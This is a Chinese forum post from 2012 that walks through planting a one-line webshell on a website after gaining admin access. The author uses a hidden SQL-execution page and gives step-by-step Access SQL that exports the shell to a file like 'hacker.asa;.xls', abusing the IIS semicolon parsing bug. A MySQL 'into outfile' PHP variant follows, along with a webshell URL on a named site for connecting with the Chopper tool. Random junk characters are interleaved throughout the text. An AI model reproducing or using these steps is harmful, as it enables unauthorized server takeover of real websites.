好不容易进了后台，发现啥上传啊。备份啊多木有。
$ ]3 b w. ?( s3 c, Twebshell一直拿不到。后来翻了一下源码。有一个执行SQL命令的2 G; V7 |! [9 r' m. s- Z
文件。可后台没显示这功能。直接填上文件名字，执行命令的选项出来了，6 w/ n6 r: u$ U. M6 }3 w9 h
然后就试用了下面的命令导出一句话木马。没想到成功了。命令方法如下：
9 C1 N! u/ I7 f; _4 m1.create table cmd (a varchar(50)): ?2 u6 ?8 A8 o) |3 D- \/ } x$ g
2.insert into cmd (a) values (‘‘)
" Q5 l; [1 p5 @4 {) O; H3 H3.select * into [a] in ‘D:\wwwroot\www.koohik.com\hacker.asa;.xls’ ‘excel 4.0;’ from cmd* ? k) B+ b5 W* l: p* z3 G
(把表cmd的内容导出为物理路径的一个EXCEL文件)+ Z9 }: S6 O: R
4.drop table cmd
e2 H# K- {0 L S& D1 b$ t3 c) O5 D7 m利用IIS的BUG成功拿到了WEBSHELL。
5 d/ w; m' L: m; X* Q, z- g7 W' P: M5 a, j: V! B. i" b& O# |
直接菜刀里连接http://www.chouwazi.com/data/xiao.asp;xiao.xls一句话
1 ^5 d, @8 a5 R6 ^8 z- G7 z1 t9 p: c1 `1 [' k: j1 ?
SQL语句意思解释：- [: V* L' X: C7 u, W/ g6 c
第一句
! h4 ^: w' G! r# P% ?# h1 O. { 建立一个有一个A字段的表 表名为cmd 字段类型为字符 长度为50
" j) ~2 q% \5 E
' s) X8 X! N* S7 w( K 第二句' h( T. Y5 P5 H* B2 H# W o' o0 Z" Z
在表cmd的a字段插入一句话木马
- M% s% u( ^: w- w, q 第三句4 e' Z0 [; P: P* ?3 e$ a' a
把cmd表a的内容导出到路径e:\host\chouwazi.com\web\data\的EXCEL文件
) B/ ?6 s7 n' h. g9 \) r4 f: Q9 n+ O# |3 a
第四句8 w+ |3 i: r1 F1 `5 [' {2 E' \
删除建立的cmd表
4 d- c+ c. S( G( W% P
9 A' ~. J8 g/ A/ Z2 Y7 w 以下内容为测试：
" Z1 F- C1 Z8 x) @ r! ` Access利用后台SQL执行命令功能导出WebShell:
: I$ ~ f" J1 y. V# z 这个更简单：& M2 e" j7 S! k, b* e7 j, q _
[ol][li]Select 'asp一句话木马' into [vote] in 'd:/chouwazi.com/x.asp;.xls' 'excel 8.0;' from vote [/li][/ol]
9 d! C( {4 ^6 r W7 ] 或者. H* g( }- w5 N) K- n
[ol][li]Select 'php一句话木马' into outfile 'F:/wwwroot/chouwazi.com/eval.php'; [/li][/ol]9 f4 Q" y6 y; r
# w% D- H1 T+ ]2 @ o7 y/ m* _
后台有执行SQL语句功能(vote为已知表段)
/ P. U9 c- A0 }4 h7 c7 t s 希望对大家有所帮助拿shell的又一个思路
( c8 ^. X( Z# X8 s |
发表于 2012-9-13 17:53:58
收藏
支持
反对